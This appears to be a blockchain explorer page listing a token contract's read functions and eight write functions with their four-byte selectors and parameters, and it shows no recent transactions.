name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
manualsend 0x6fc3eaec
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address